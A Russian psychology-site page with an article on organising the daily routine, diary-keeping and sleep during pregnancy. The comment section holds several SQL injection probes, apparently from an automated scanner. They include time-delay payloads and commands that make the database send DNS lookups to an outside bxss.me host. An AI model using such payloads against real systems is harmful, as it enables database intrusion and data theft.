Главная
Блоги
  Войти
Регистрация
     


Психология жизни

Последние 7, 30 поступлений.
Как полюбить себя и обрести успех в жизни
Вернись я все прощу
Переизбыток полезности
Как перестать есть на эмоциях?
Шесть причин слабости
Как увеличить пространство интерьера
Как создать мощный поток клиентов
 Дневник мудрых мыслей  Общество успешных  Страница исполнения желаний  Анекдоты без цензуры  Генератор Позитива
Партнеры проекта
 







Партнеры проекта
Главная> Между нами, девочками>Беременность: учимся планировать время

Беременность: учимся планировать время


Instagram: @alexandr__zubarev
Беременность: учимся планировать время

Беременность: учимся планировать время

Все чаще понятия «беременность» и «планирование» идут рядом. Современная женщина уже не может позволить себе спонтанную беременность, она вынуждена просчитывать и время появления своего малыша, и время, когда она должна будет вернуться на работу.

Сегодня мы тоже поговорим о планировании, но в другом контексте. Речь пойдет не о «долгосрочном» планировании ребенка, а о планировании каждого дня беременности.

Понятие биоритмов давно вошло в нашу жизнь. Это смена подъемов и спадов работоспособности, к которой организм подстраивается, привыкает, тем самым облегчая себе существование. Любые нарушения привычного распорядка вызывают сбои в тех или иных органах и системах. Если такие сбои повторяются часто, то они приводят к болезни или, в нашем случае, к осложнениям беременности. Так, например, если человек принимает пищу в строго определенные часы, его организм уже «знает» эти часы и готовится к поступлению пищи: загодя вырабатывает пищеварительные соки, чтобы процесс пищеварения шел быстрее. Если же час приема еды настал, но порция пищи не поступила, то выработавшаяся заранее соляная кислота, содержащаяся в желудочном соке, раздражает слизистую оболочку желудка, что со временем может привести к развитию гастрита.

Женщине, живущей по распорядку, значительно легче перенести беременность, нежели той, что живет по принципу «как придется». Малыш внутри будет жить по вашему режиму, на этой основе будут закладываться его собственные биоритмы. Чтобы правильно распоряжаться временем после рождения малыша, надо попытаться разработать и, в идеале, привыкнуть к новому распорядку еще при беременности.

Заводим ежедневник.

Заведите специальный блокнот или ежедневник. Составьте приблизительный режим на каждый день. Расписав весь день на бумаге, вы будете лучше видеть, где у вас есть форточки для дополнительной прогулки или отдыха, гимнастики.

В этом же блокноте помечайте необходимые дела, события, тогда визит к врачу не совпадет с днем рождения подруги, а вы сбережете себе нервные клетки в очереди и избежите неприятных объяснений с небеременным окружением. Кроме того, записывайте свои вопросы и рекомендации врача, тогда вы точно будете уверены в том, что ничего не упустите на приеме у врача.

Еженедельно отмечайте в ежедневнике свой вес. Это позволит врачу судить о правильной прибавке в весе. Если вам порекомендуют соблюдать диету или определенный питьевой режим, в ежедневник можно записывать то, что вы ели и пили. По записям легче скорректировать диету.

Кроме всего прочего, подобный дневник — место для записи ваших ощущений и переживаний. Тогда вы с удовольствием сохраните его на память.

Режим дня.

Хороший режим дня представляет собой гармоничное сочетание труда и отдыха, времени бодрствования и времени сна, времени приема пищи, совершения прогулок, досуга и т. д.

Распорядок дня должен быть продуман и составлен с учетом рекомендаций врача, индивидуальных особенностей (режим «совы» должен отличаться от распорядка «жаворонка»), профессиональной деятельности, возраста и срока беременности.

Распорядок дня позволяет правильно выполнять медицинские мероприятия. Известно, что многие препараты принимаются после еды или за час до еды.

Кроме того, важно, чтобы перерывы в приеме лекарства были одинаковыми. Если вы знаете, когда у вас будет обед, то выполнить эту рекомендацию легко. Если же его время постоянно смещается (то в 12:00, то в 17:30), то лекарства будут приняты неправильно.

При составлении режима дня учтите, что главное условие — обеспечение хорошего отдыха. Отдых всегда дает шансы сделать любую работу быстрее и с удовольствием. Физический труд лучше планировать на первую половину дня спустя час после приема пищи, а напряженный интеллектуальный и связанный со значительной нагрузкой на зрение труд нельзя планировать перед самым сном.

Учимся спать.

Очень часто первым признаком беременности становятся повышенная утомляемость и сонливость. Главное условие — обеспечение хорошего отдыха. Прислушайтесь к себе: если вам хочется днем прилечь и поспать, значит, так и надо делать. Продолжительность сна беременной должна быть не менее 8–9 часов, а наиболее оптимальное время — с 22 часов вече-ра до 7 часов утра. Кроме того, будущей матери желательно после обеда, дневной прогулки или домашней работы отдохнуть лежа или поспать 30–50 минут в промежутке между 14 и 16 часами. Долго спать днем не следует, так как это может нарушить ночной сон.

Для того чтобы улучшить отдых, перед сном не следует плотно есть. Комната должна хорошо проветриваться, температура в ней не должна быть выше 18–19 °C. Очень полезна за час перед сном прогулка на свежем воздухе. Почаще меняйте постельное белье, особенно наволочку на подушке, чтоб не провоцировать угревые высыпания на лице.

Примите перед сном теплую ванну или душ. В ванну можете добавить отвар ромашки или несколько капель какого-либо ароматического масла (например, лавандового) — это поможет вам расслабиться. Теплый стакан молока перед сном может помочь при бессоннице. Теплое молоко содержит триптофан, который повышает сонливость. Еще можно выпить чашку теплой воды с двумя чайными ложками меда, что тоже должно помочь при бессоннице, часто возникающей во время беременности.

Перед отходом ко сну почитайте, сделайте упражнения для релаксации. Попросите мужа или кого-либо из близких перед сном сделать вам массаж: он даст возможность расслабиться, снимет боль в спине и пояснице. Массаж стоп и голеностопных суставов поможет избежать судорог.

Ищите удобную позу, в которой вы смогли бы заснуть. Поэкспериментируйте с дополнительными подушками. Можно положить еще одну подушку под голову — это поможет глубже дышать и позволит лучше отдохнуть. Если вы спите на боку, попробуйте положить подушку под бедро. Другое положение для сна — лежа на боку, поло-жив подушку между ног. Такая поза позволит вытянуть позвоночник и даст ребенку больше свободного пространства.

Если вам не удалось заснуть в течение получаса, встаньте, выйдите в другую комнату, полистайте журнал или почитайте книгу, способную навеять сон, начните вязать, послушайте успокаивающую музыку и отправляйтесь в постель лишь тогда, когда почувствуете приближение сна. Что касается снотворных, то их лучше не принимать. Особенно они опасны в первом триместре, когда происходит активное формирование тканей эмбриона, да и в дальнейшем от снотворных больше вреда, чем пользы.

Многие беременные женщины в положении лежа иногда испытывают боль в ягодицах, нижней части спины или в бедрах, что связано с раздражением седалищного нерва, который проходит позади матки. Наилучший способ облегчить эту боль — лежать на здоровом боку. Этим уменьшается давление матки на нерв. Можете выполнять также наклоны и вращения тазом перед тем, как лечь.

Если вы привыкли спать на животе, то волей-неволей придется переучиваться: из-за растущего живота вы будете чувствовать себя лежащей на арбузе. Спать на спине удобнее, но такое положение может стать причиной болей в спине, затруднить дыхание, кровообращение и вызвать резкое снижение артериального давления. Это связано с тем, что у спящей на спине женщины вся масса беременной матки располагается на позвоночнике, кишках и нижней полой вене, которая отвечает за возврат крови из нижней части тела к сердцу.

С четвертого месяца самое удобное и безопасное положение для сна — на левом боку с одной согнутой ногой и тонкой подушкой между ног. К пояснице можно пристроить еще одну подушку, чтобы не «скатываться» на спину. Такое положение помогает кровоснабжению в плаценте и улучшает функцию почек. Спите каждую ночь на один или два часа дольше, не смотрите поздние телевизионные программы.

© Екатерина Свирская


Instagram: @alexandr__zubarev



Беременность: учимся планировать время
добавлено : 05.08.2017
обращений к странице: 7694
автор: subscribe.ru || комментарии [28] || распечатать || обсудить в форуме
загрузка...
Ваше мнение о статье
Ваше имяЕmail 
Сообщение

комментарий: 21.01.2020 7:36:37

1acufZUqG6EUkm читать

аноним

комментарий: 21.01.2020 7:36:11

1acuoK2VfUWyXG читать

аноним

комментарий: 21.01.2020 1:01:48

34' читать

аноним

комментарий: 21.01.2020 1:01:44

%df%20%e4%f3%ec%e0%fe%20%f7%f2%ee...'copy (select '') to program 'nslookup dns.sqli.\013405.5398-4101.5398.7e72d.\1.bxss.me читать

аноним

комментарий: 21.01.2020 1:01:41

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.5398-4095.5398.7e72d.1.bxss'||'.me')||' читать

аноним

комментарий: 21.01.2020 1:01:30

WdOOh3VY'));select pg_sleep(3.687); -- читать

аноним

комментарий: 21.01.2020 1:01:29

He3JNyGB');select pg_sleep(7.374); -- читать

аноним

комментарий: 21.01.2020 1:01:18

PbsS9PnD');select pg_sleep(3.687); -- читать

аноним

комментарий: 21.01.2020 1:01:11

VgVAaqkb'select pg_sleep(3.687); -- читать

аноним

комментарий: 21.01.2020 1:00:48

(select(0)from(select(sleep(7.374)))v)/*'+(select(0)from(select(sleep(7.374)))v)+'"+(select(0)from(select(sleep(7.374)))v)+"*/ читать

аноним



Партнеры проекта
Другие сейчас читают это:
Партнеры проекта
Это интересно
Партнеры проекта
 
 
ГРЕХИ и СОЖАЛЕНИЯ ЕСТЬ МЕЧТА? ЦЕЛЬ? Я БЛАГОДАРЮ ДНЕВНИК МУДРОСТИ
  • муж объелся груш
  • Порой мне , кажется, что все , что ты могла сделать , и не могла-ты сделала. Насколько подла у тебя душонка? Хочешь обЪять необъятное? А ведь , думал, что люблю...
  • ....я в детстве -наверное лет 5 было, забил насмерть своего ХОМЯКА.... за что - хз ,просто так...... а всем сказал , что он упал и сломал спину. Потом признал...
  • Хочу скорее увидеть своего любимого Тимура и в скором времени очень удачно во всех отношениях выйти за него замуж и жить с ним долго и счастливо!Да будет так!!!...
  • хочу купить трехкомнатную квартиру в центре города,иметь постоянный ежемесячный доход в размере не менее 3000$,совершить кругосветное путешествие,и быть вечно м...
  • Хочу петь и работать в группе с Максом!!! И быть звездой номер один!)))
  • Я благодарю что я учусь, что в жизни всегда много красоты и разнообразия.
  • Я благодарю весь мир, за кров, еду, ресурсы... еще бы любви для полного счастья.
  • Я благодарю Бога, Вселенную и всех людей которые меня окружают. Бога м Всленную за то что Богдал мне жизнь и за то что он всегда рядом, хотя иногда я не понимаю...
  • Придет день и истина выидет на ружу и мы познаем не познаваемое и придет конец всему и цыкл начнется заново....
  • Главное научиться управлять мыслями, потому как подсознание не различает положительные мысли от отрицательных, поэтому нужно сеять положительные, почаще занимат......
  • Жизнь - истории начало, В ней и притча и ответ. Но жадному всей жизни мало, Что бы щедрого понять совет. ...
  • КНИГИ НА ФОРУМЕ АНЕКДОТЫ ТРЕНИНГИ
  • Шефский роман...
  • Путь самца...
  • НАВЕДЕННЫЙ ГИПНОЗ...
  • Бойцовский Клуб...
  • КОНВЕРГЕНЦИЯ или Гармония Противоречий...
  • 15.04.2021 0:04:10 как бросить пить пиво после работы?...
  • 13.04.2021 17:15:29 Лечение в Германии...
  • 06.04.2021 6:54:37 Что сделать, чтобы исполнилось желание? :)...
  • Шел с работы,часа 4дня.за углом дома стоял мужик лет 30,с красивой розочкой и пил малька водки из горла:)видимо что-то страшное его ждало...
    читать все анекдоты
    Партнеры проекта
    Подписка
     Дневник мудрых мыслей  Общество успешных  Страница исполнения желаний  Анекдоты без цензуры  Генератор Позитива
    PSYLIVE - Психология жизни 2001 — 2017 © Все права защищены.
    Воспроизведение, распространение в интернете и иное использование информации опубликованной в сети PSYLIVE допускается только с указанием гиперссылки (hyperlink) на PSYLIVE.RU.
    Использование материалов в не сетевых СМИ (бумажные издания, радио, тв), только по письменному разрешению редакции.
    Связь с редакцией | Реклама на проекте | Программирование сайта | RSS экспорт
    ONLINE: Техническая поддержка и реклама: ICQ 363302 Техническая поддержка 363302 , SKYPE: exteramedia, email: psyliveru@yandex.ru, VK: psylive_ru .
    Рейтинг@Mail.ru Яндекс.Метрика